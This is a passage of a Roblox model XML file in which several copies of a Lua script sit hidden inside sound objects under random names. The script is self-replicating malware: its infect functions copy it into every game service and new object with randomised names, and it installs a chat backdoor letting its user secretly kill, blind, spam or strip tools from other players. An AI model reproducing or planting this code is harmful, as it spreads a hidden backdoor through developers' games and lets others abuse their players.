if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="StockSound" referent="RBX129">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">oayj</string>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Script" referent="RBX130">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">ig51b</string>
							<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="Part" referent="RBX131">
				<Properties>
					<bool name="Anchored">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">194</int>
					<CoordinateFrame name="CFrame">
						<X>-0.5</X>
						<Y>3.60000014</Y>
						<Z>-18.5</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<token name="Controller">0</token>
					<bool name="ControllerFlagShown">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Smooth Block Model</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>6</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
				<Item class="StockSound" referent="RBX132">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">4wtv</string>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Script" referent="RBX133">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">1xz15fp</string>
							<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
